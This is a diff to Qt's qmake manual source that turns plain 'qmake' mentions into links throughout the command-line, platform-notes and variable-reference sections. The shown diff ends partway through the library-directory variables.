doc/src/snippets/code/doc_src_qmake-manual.qdoc 1 - Note, that you must use "+=", not "=", or \c qmake will not be able to + Note, that you must use "+=", not "=", or \l {qmake}{ \c qmake} will not be able to use Qt's configuration to determine the settings needed for your project. \section1 Declaring Qt Libraries @@ -478,13 +478,13 @@ \section1 Configuration Features - \c qmake can be set up with extra configuration features that are specified + \l {qmake}{ \c qmake} can be set up with extra configuration features that are specified in feature (.prf) files. These extra features often provide support for custom tools that are used during the build process. To add a feature to the build process, append the feature name (the stem of the feature filename) to the \c CONFIG variable. - For example, \c qmake can configure the build process to take advantage + For example, \l {qmake}{ \c qmake} can configure the build process to take advantage of external libraries that are supported by \l{http://www.freedesktop.org/wiki/Software_2fpkgconfig}{pkg-config}, such as the D-Bus and ogg libraries, with the following lines: @@ -501,7 +501,7 @@ If you are using other libraries in your project in addition to those supplied with Qt, you need to specify them in your project file. - The paths that \c qmake searches for libraries and the specific libraries + The paths that \l {qmake}{ \c qmake} searches for libraries and the specific libraries to link against can be added to the list of values in the \l{qmake Variable Reference#LIBS}{LIBS} variable. The paths to the libraries themselves can be given, or the familiar Unix-style notation for specifying @@ -527,7 +527,7 @@ \previouspage qmake Project Files \nextpage qmake Platform Notes - The behavior of \c qmake can be customized when it is run by + The behavior of \l {qmake}{ \c qmake} can be customized when it is run by specifying various options on the command line. These allow the build process to be fine-tuned, provide useful diagnostic information, and can be used to specify the target platform for @@ -540,13 +540,13 @@ \section2 Syntax - The syntax used to run \c qmake takes the following simple form: + The syntax used to run \l {qmake}{ \c qmake} takes the following simple form: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 8 - \c qmake supports two different modes of operation: In the default mode, - \c qmake will use the description in a project file to generate a Makefile, - but it is also possible to use \c qmake to generate project files. + \l {qmake}{ \c qmake} supports two different modes of operation: In the default mode, + \l {qmake}{ \c qmake} will use the description in a project file to generate a Makefile, + but it is also possible to use \l {qmake}{ \c qmake} to generate project files. If you want to explicitly set the mode, you must specify it before all other options. The \c mode can be either of the following two values: @@ -555,7 +555,8 @@ \c qmake output will be a Makefile. \o \c -project \BR \c qmake output will be a project file. \BR -\bold{Note:} It is likely that the created file will need to be edited for example adding the \c QT variable to suit what modules are required for the project. + \bold{Note:} It is likely that the created file will need to be edited; for example, + adding the \c QT variable to suit what modules are required for the project. \endlist The following \c options are used to specify both general and mode-specific @@ -569,10 +570,10 @@ \section2 Options - A wide range of options can be specified on the command line to \c qmake in + A wide range of options can be specified on the command line to \l {qmake}{ \c qmake} in order to customize the build process, and to override default settings for your platform. The following basic options provide usage information, specify - where \c qmake writes the output file, and control the level of debugging + where \l {qmake}{ \c qmake} writes the output file, and control the level of debugging information that will be written to the console: \list @@ -588,7 +589,7 @@ \endlist For projects that need to be built differently on each target platform, with - many subdirectories, you can run \c qmake with each of the following + many subdirectories, you can run \l {qmake}{ \c qmake} with each of the following options to set the corresponding platform-specific variable in each project file: @@ -642,7 +643,7 @@ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 9 - In Makefile mode, \c qmake will generate a Makefile that is used to build the + In Makefile mode, \l {qmake}{ \c qmake} will generate a Makefile that is used to build the project. Additionally, the following options may be used in this mode to influence the way the project file is generated: @@ -662,7 +663,7 @@ and the value of \c QMAKESPEC will be ignored. \endlist - You may also pass \c qmake assignments on the command line; + You may also pass \l {qmake}{ \c qmake} assignments on the command line; they will be processed before all of the files specified. For example: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 10 @@ -683,7 +684,7 @@ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 12 - In project mode, \c qmake will generate a project file. Additionally, you + In project mode, \l {qmake}{ \c qmake} will generate a project file. Additionally, you may supply the following options in this mode: \list @@ -714,7 +715,7 @@ Many cross-platform projects can be handled by the \c{qmake}'s basic configuration features. On some platforms, it is sometimes useful, or even - necessary, to take advantage of platform-specific features. \c qmake knows + necessary, to take advantage of platform-specific features. \l {qmake}{ \c qmake} knows about many of these features, and these can be accessed via specific variables that only have an effect on the platforms where they are relevant. @@ -727,15 +728,15 @@ \section2 Source and Binary Packages - The version of \c qmake supplied in source packages is configured slightly + The version of \l {qmake}{ \c qmake} supplied in source packages is configured slightly differently to that supplied in binary packages in that it uses a different feature specification. Where the source package typically uses the \c macx-g++ specification, the binary package is typically configured to use the \c macx-xcode specification. - Users of each package can override this configuration by invoking \c qmake + Users of each package can override this configuration by invoking \l {qmake}{ \c qmake} with the \c -spec option (see \l{Running qmake} for more information). This - makes it possible, for example, to use \c qmake from a binary package to + makes it possible, for example, to use \l {qmake}{ \c qmake} from a binary package to create a Makefile in a project directory with the following command line invocation: @@ -743,7 +744,7 @@ \section2 Using Frameworks - \c qmake is able to automatically generate build rules for linking against + \l {qmake}{ \c qmake} is able to automatically generate build rules for linking against frameworks in the standard framework directory on Mac OS X, located at \c{/Library/Frameworks/}. @@ -803,7 +804,7 @@ The architectures to be supported in the binary are specified with the \l{qmake Variable Reference#CONFIG}{CONFIG} variable. For example, the - following assignment causes \c qmake to generate build rules to create + following assignment causes \l {qmake}{ \c qmake} to generate build rules to create a universal binary for both PowerPC and x86 architectures: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 18 @@ -818,12 +819,12 @@ Developers on Mac OS X can take advantage of \c{qmake}'s support for Xcode project files, as described in \l{Qt is Mac OS X Native#Development Tools}{Qt is Mac OS X Native}, - by running \c qmake to generate an Xcode project from an existing \c qmake + by running \l {qmake}{ \c qmake} to generate an Xcode project from an existing \l {qmake}{ \c qmake} project files. For example: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 19 - Note that, if a project is later moved on the disk, \c qmake must be run + Note that, if a project is later moved on the disk, \l {qmake}{ \c qmake} must be run again to process the project file and create a new Xcode project file. \section2 On supporting two build targets simultaneously @@ -862,8 +863,8 @@ \l{Qt Commercial Edition} and do not need to worry about how project dependencies are managed. - However, some developers may need to import an existing \c qmake project - into Visual Studio. \c qmake is able to take a project file and create a + However, some developers may need to import an existing \l {qmake}{ \c qmake} project + into Visual Studio. \l {qmake}{ \c qmake} is able to take a project file and create a Visual Studio project that contains all the necessary information required by the development environment. This is achieved by setting the \c qmake \l{qmake Variable Reference#TEMPLATE}{project template} to either \c vcapp @@ -878,7 +879,7 @@ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 21 - Each time you update the project file, you need to run \c qmake to generate + Each time you update the project file, you need to run \l {qmake}{ \c qmake} to generate an updated Visual Studio project. \note If you are using the Visual Studio Add-in, you can import \c .pro @@ -1011,7 +1012,7 @@ \section1 Variable Reference The \l{qmake Variable Reference} describes the variables that are - recognized by \c qmake when configuring the build process for + recognized by \l {qmake}{ \c qmake}when configuring the build process for projects. \section1 Function Reference @@ -1061,7 +1062,7 @@ \section1 Environment Variables and Configuration The \l{Configuring qmake's Environment} chapter of this manual - describes the environment variables that \c qmake uses when + describes the environment variables that \l {qmake}{ \c qmake} uses when configuring the build process. */ @@ -1117,7 +1118,7 @@ The \c CONFIG variable specifies project configuration and compiler options. The values will be recognized internally by - \c qmake and have special meaning. They are as follows. + \l {qmake}{ \c qmake} and have special meaning. They are as follows. These \c CONFIG values control compilation flags: @@ -1153,23 +1154,23 @@ defined in the \c CONFIG variable, it is necessary to use the \c debug_and_release option if you want to allow both debug and release versions of a project to be built. In such a case, the Makefile that - \c qmake generates includes a rule that builds both versions, and this can + \l {qmake}{ \c qmake} generates includes a rule that builds both versions, and this can be invoked in the following way: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 24 - When linking a library, \c qmake relies on the underlying platform to know + When linking a library, \l {qmake}{ \c qmake} relies on the underlying platform to know what other libraries this library links against. However, if linking - statically, \c qmake will not get this information unless we use the following + statically, \l {qmake}{ \c qmake} will not get this information unless we use the following \c CONFIG options: \table 95% \header \o Option \o Description - \row \o create_prl \o This option enables \c qmake to track these - dependencies. When this option is enabled, \c qmake will create a file + \row \o create_prl \o This option enables \l {qmake}{ \c qmake} to track these + dependencies. When this option is enabled, \l {qmake}{ \c qmake} will create a file ending in \c .prl which will save meta-information about the library (see \l{LibDepend}{Library Dependencies} for more info). - \row \o link_prl \o When this is enabled, \c qmake will process all + \row \o link_prl \o When this is enabled, \l {qmake}{ \c qmake} will process all libraries linked to by the application and find their meta-information (see \l{LibDepend}{Library Dependencies} for more info). \endtable @@ -1323,7 +1324,7 @@ \target DEFINES \section1 DEFINES - \c qmake adds the values of this variable as compiler C + \l {qmake}{ \c qmake} adds the values of this variable as compiler C preprocessor macros (-D option). For example: @@ -1554,9 +1555,9 @@ \target DESTDIR_TARGET \section1 DESTDIR_TARGET - This variable is set internally by \c qmake, which is basically the + This variable is set internally by \l {qmake}{ \c qmake}, which is basically the \c DESTDIR variable with the \c TARGET variable appened at the end. - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target DLLDESTDIR @@ -1577,9 +1578,9 @@ \target DSP_TEMPLATE \section1 DSP_TEMPLATE - This variable is set internally by \c qmake, which specifies where the + This variable is set internally by \l {qmake}{ \c qmake}, which specifies where the dsp template file for basing generated dsp files is stored. The value - of this variable is typically handled by \c qmake or + of this variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target FORMS @@ -1625,9 +1626,9 @@ Defines the header files for the project. - \c qmake will generate dependency information (unless \c -nodepend + \l {qmake}{ \c qmake} will generate dependency information (unless \c -nodepend is specified on the \l{Running qmake#Commands}{command line}) - for the specified headers. \c qmake will also automatically detect if + for the specified headers. \l {qmake}{ \c qmake} will also automatically detect if \c moc is required by the classes in these headers, and add the appropriate dependencies and files to the project for generating and linking the moc files. @@ -1678,14 +1679,14 @@ \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 36 - Note that \c qmake will skip files that are executable. If you need to install + Note that \l {qmake}{ \c qmake} will skip files that are executable. If you need to install executable files, you can unset the files' executable flags. \target LEXIMPLS \section1 LEXIMPLS This variable contains a list of lex implementation files. The value - of this variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely + of this variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target LEXOBJECTS @@ -1693,7 +1694,7 @@ This variable contains the names of intermediate lex object files.The value of this variable is typically handled by - \c qmake and rarely needs to be modified. + \l {qmake}{ \c qmake} and rarely needs to be modified. \target LEXSOURCES \section1 LEXSOURCES @@ -1768,9 +1769,9 @@ \section1 MAKEFILE This variable specifies the name of the Makefile which - \c qmake should use when outputting the dependency information + \l {qmake}{ \c qmake} should use when outputting the dependency information for building a project. The value of this variable is typically - handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. + handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \bold{Note:} On the Symbian platform, this variable is ignored. @@ -1779,7 +1780,7 @@ This variable contains the name of the Makefile generator to use when generating a Makefile. The value of this variable is typically - handled internally by \c qmake and rarely needs to be modified. + handled internally by \l {qmake}{ \c qmake} and rarely needs to be modified. \target MMP_RULES \section1 MMP_RULES @@ -1835,7 +1836,7 @@ This variable is generated from the \link #SOURCES SOURCES \endlink variable. The extension of each source file will have been replaced by .o (Unix) or .obj (Win32). The value of this variable is - typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and + typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target OBJECTS_DIR @@ -1851,10 +1852,10 @@ \target OBJMOC \section1 OBJMOC - This variable is set by \c qmake if files can be found that + This variable is set by \l {qmake}{ \c qmake} if files can be found that contain the Q_OBJECT macro. \c OBJMOC contains the name of all intermediate moc object files. The value of this variable - is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be + is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target POST_TARGETDEPS @@ -1894,38 +1895,38 @@ This variable contains a list of header files that require some sort of pre-compilation step (such as with moc). The value of this - variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be + variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target PWD \section1 PWD This variable contains the full path leading to the directory where - the \c qmake project file (project.pro) is located. + the \l {qmake}{ \c qmake} project file (project.pro) is located. \target OUT_PWD \section1 OUT_PWD This variable contains the full path leading to the directory where - \c qmake places the generated Makefile. + \l {qmake}{ \c qmake} places the generated Makefile. \target QMAKE_systemvariable \section1 QMAKE - This variable contains the name of the \c qmake program + This variable contains the name of the \l {qmake}{ \c qmake} program itself and is placed in generated Makefiles. The value of this - variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be + variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKESPEC_systemvariable \section1 QMAKESPEC - This variable contains the name of the \c qmake + This variable contains the name of the \l {qmake}{ \c qmake} configuration to use when generating Makefiles. The value of this - variable is typically handled by \c qmake and rarely needs to be modified. + variable is typically handled by \l {qmake}{ \c qmake} and rarely needs to be modified. - Use the \c{QMAKESPEC} environment variable to override the \c qmake configuration. - Note that, due to the way \c qmake reads project files, setting the \c{QMAKESPEC} + Use the \c{QMAKESPEC} environment variable to override the \l {qmake}{ \c qmake} configuration. + Note that, due to the way \l {qmake}{ \c qmake} reads project files, setting the \c{QMAKESPEC} environment variable from within a project file will have no effect. \target QMAKE_APP_FLAG @@ -1933,7 +1934,7 @@ This variable is empty unless the \c app \l{#TEMPLATE}{TEMPLATE} is specified. The value of this - variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be + variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. Use the following instead: \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 42 @@ -1943,7 +1944,7 @@ This variable is empty unless the \c app or \c dll \l{#TEMPLATE}{TEMPLATE} is specified. The value of this - variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be + variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_AR_CMD @@ -1953,7 +1954,7 @@ This variable contains the command for invoking the program which creates, modifies and extracts archives. The value of this variable is - typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} + typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_BUNDLE_DATA @@ -2003,7 +2004,7 @@ \section1 QMAKE_CFLAGS_DEBUG This variable contains the flags for the C compiler in debug mode.The value of this variable is - typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} + typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CFLAGS_MT @@ -2012,7 +2013,7 @@ This variable contains the compiler flags for creating a multi-threaded application or when the version of Qt that you link against is a multi-threaded statically linked library. The value of - this variable is typically handled by \c qmake or + this variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CFLAGS_MT_DBG @@ -2021,7 +2022,7 @@ This variable contains the compiler flags for creating a debuggable multi-threaded application or when the version of Qt that you link against is a debuggable multi-threaded statically linked library. The - value of this variable is typically handled by \c qmake or + value of this variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CFLAGS_MT_DLL @@ -2032,7 +2033,7 @@ This variable contains the compiler flags for creating a multi-threaded dll or when the version of Qt that you link against is a multi-threaded dll. The value of this variable is typically - handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and + handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CFLAGS_MT_DLLDBG @@ -2043,7 +2044,7 @@ This variable contains the compiler flags for creating a debuggable multi-threaded dll or when the version of Qt that you link against is a debuggable multi-threaded statically linked library. - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CFLAGS_RELEASE @@ -2051,7 +2052,7 @@ This variable contains the compiler flags for creating a non-debuggable application. The value of this variable is typically - handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and + handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CFLAGS_SHLIB @@ -2061,7 +2062,7 @@ This variable contains the compiler flags for creating a shared library. The value of this variable is typically handled by - \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs + \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CFLAGS_THREAD @@ -2069,7 +2070,7 @@ This variable contains the compiler flags for creating a multi-threaded application. The value of this variable is typically handled by - \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs + \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CFLAGS_WARN_OFF @@ -2077,7 +2078,7 @@ This variable is not empty if the warn_off \l{#CONFIG}{CONFIG} option is specified. The value of this - variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} + variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CFLAGS_WARN_ON @@ -2086,7 +2087,7 @@ This variable is not empty if the warn_on \l{#CONFIG}{CONFIG} option is specified. The value of this variable is typically handled by - \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs + \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CLEAN @@ -2105,7 +2106,7 @@ \section1 QMAKE_CXXFLAGS This variable contains the C++ compiler flags that are used when building - a project. The value of this variable is typically handled by \c qmake or + a project. The value of this variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. The flags specific to debug and release modes can be adjusted by modifying the \c QMAKE_CXXFLAGS_DEBUG and \c QMAKE_CXXFLAGS_RELEASE variables, @@ -2125,7 +2126,7 @@ This variable contains the C++ compiler flags for creating a debuggable application. The value of this variable is typically handled by - \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs + \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CXXFLAGS_MT @@ -2133,7 +2134,7 @@ This variable contains the C++ compiler flags for creating a multi-threaded application. The value of this variable is typically handled by - \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CXXFLAGS_MT_DBG @@ -2141,7 +2142,7 @@ This variable contains the C++ compiler flags for creating a debuggable multi-threaded application. The value of this variable is typically handled by - \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CXXFLAGS_MT_DLL @@ -2151,7 +2152,7 @@ This variable contains the C++ compiler flags for creating a multi-threaded dll. The value of this variable is typically handled by - \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CXXFLAGS_MT_DLLDBG @@ -2161,7 +2162,7 @@ This variable contains the C++ compiler flags for creating a multi-threaded debuggable dll. The value of this variable is typically handled by - \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CXXFLAGS_RELEASE @@ -2169,7 +2170,7 @@ This variable contains the C++ compiler flags for creating an application. The value of this variable is typically handled by - \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CXXFLAGS_SHLIB @@ -2177,7 +2178,7 @@ This variable contains the C++ compiler flags for creating a shared library. The value of this variable is typically handled by - \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CXXFLAGS_THREAD @@ -2185,21 +2186,21 @@ This variable contains the C++ compiler flags for creating a multi-threaded application. The value of this variable is typically handled by - \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CXXFLAGS_WARN_OFF \section1 QMAKE_CXXFLAGS_WARN_OFF This variable contains the C++ compiler flags for suppressing compiler warnings. - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_CXXFLAGS_WARN_ON \section1 QMAKE_CXXFLAGS_WARN_ON This variable contains C++ compiler flags for generating compiler warnings. - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_DISTCLEAN @@ -2211,7 +2212,7 @@ \section1 QMAKE_EXTENSION_SHLIB This variable contains the extention for shared libraries. The value of this - variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} + variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. Note that platform-specific variables that change the extension will override @@ -2285,15 +2286,15 @@ \section1 QMAKE_FAILED_REQUIREMENTS This variable contains the list of requirements that were failed to be met when - \c qmake was used. For example, the sql module is needed and wasn't compiled into Qt. The - value of this variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} + \l {qmake}{ \c qmake}was used. For example, the sql module is needed and wasn't compiled into Qt. The + value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_FILETAGS \section1 QMAKE_FILETAGS This variable contains the file tags needed to be entered into the Makefile, such as SOURCES - and HEADERS. The value of this variable is typically handled by \c qmake or + and HEADERS. The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_FRAMEWORK_BUNDLE_NAME @@ -2329,7 +2330,7 @@ This variable contains the location of all known header files to be added to INCLUDEPATH when building an application. The value of this variable is - typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely + typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_INCDIR_EGL @@ -2338,14 +2339,14 @@ This variable contains the location of EGL header files to be added to INCLUDEPATH when building an application with OpenGL/ES or OpenVG support. The value of this variable is typically handled by - \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_INCDIR_OPENGL \section1 QMAKE_INCDIR_OPENGL This variable contains the location of OpenGL header files to be added to INCLUDEPATH when building an application with OpenGL support. The - value of this variable is typically handled by \c qmake or + value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. If the OpenGL implementation uses EGL (most OpenGL/ES systems), @@ -2357,7 +2358,7 @@ to INCLUDEPATH when building an application with OpenGL ES 1 or OpenGL ES 2 support respectively. - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. If the OpenGL implementation uses EGL (most OpenGL/ES systems), @@ -2368,7 +2369,7 @@ This variable contains the location of OpenVG header files to be added to INCLUDEPATH when building an application with OpenVG support. The - value of this variable is typically handled by \c qmake or + value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. If the OpenVG implementation uses EGL then QMAKE_INCDIR_EGL may also @@ -2379,7 +2380,7 @@ This variable contains the location of all known header file paths to be added to INCLUDEPATH when building a Qt application. The value - of this variable is typically handled by \c qmake or + of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_INCDIR_THREAD @@ -2387,7 +2388,7 @@ This variable contains the location of all known header file paths to be added to INCLUDEPATH when building a multi-threaded application. - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_INCDIR_X11 @@ -2397,7 +2398,7 @@ This variable contains the location of X11 header file paths to be added to INCLUDEPATH when building a X11 application. The - value of this variable is typically handled by \c qmake or + value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \target QMAKE_INFO_PLIST @@ -2428,7 +2429,7 @@ This variable contains link flags when building console programs. The value of this variable is typically handled by - \c qmake or + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LFLAGS_CONSOLE_DLL @@ -2437,19 +2438,19 @@ This variable contains link flags when building console dlls. The value of this variable is typically handled by - \c qmake or + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LFLAGS_DEBUG This variable contains link flags when building debuggable applications. The - value of this variable is typically handled by \c qmake or + value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LFLAGS_PLUGIN This variable contains link flags when building plugins. The value - of this variable is typically handled by \c qmake or + of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LFLAGS_RPATH @@ -2463,25 +2464,25 @@ This variable contains link flags when building programs that use the Qt library built as a dll. The value of this variable is - typically handled by \c qmake or + typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LFLAGS_RELEASE This variable contains link flags when building applications for release. The value of this variable is typically handled by - \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LFLAGS_SHAPP This variable contains link flags when building applications which are using the \c app template. The value of this variable is typically handled by - \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LFLAGS_SHLIB This variable contains link flags when building shared libraries - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LFLAGS_SONAME @@ -2493,7 +2494,7 @@ \section1 QMAKE_LFLAGS_THREAD This variable contains link flags when building multi-threaded projects. - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LFLAGS_WINDOWS @@ -2502,7 +2503,7 @@ This variable contains link flags when building Windows GUI projects (i.e. non-console applications). - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LFLAGS_WINDOWS_DLL @@ -2510,14 +2511,14 @@ \e {This is used on Windows only.} This variable contains link flags when building Windows DLL projects. - The value of this variable is typically handled by \c qmake or + The value of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBDIR This variable contains the location of all known library directories.The value of this variable is typically handled by - \c qmake or + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBDIR_FLAGS @@ -2526,21 +2527,21 @@ This variable contains the location of all library directory with -L prefixed. The value of this variable is typically handled by - \c qmake or + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBDIR_EGL This variable contains the location of the EGL library directory, when EGL is used with OpenGL/ES or OpenVG. The value - of this variable is typically handled by \c qmake or + of this variable is typically handled by \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBDIR_OPENGL This variable contains the location of the OpenGL library directory.The value of this variable is typically handled by - \c qmake or + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. If the OpenGL implementation uses EGL (most OpenGL/ES systems), @@ -2550,7 +2551,7 @@ This variable contains the location of the OpenVG library directory. The value of this variable is typically handled by - \c qmake or + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. If the OpenVG implementation uses EGL, then QMAKE_LIBDIR_EGL @@ -2560,7 +2561,7 @@ This variable contains the location of the Qt library directory.The value of this variable is typically handled by - \c qmake or + \l {qmake}{ \c qmake}or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. \section1 QMAKE_LIBDIR_X11 @@ -2569,13 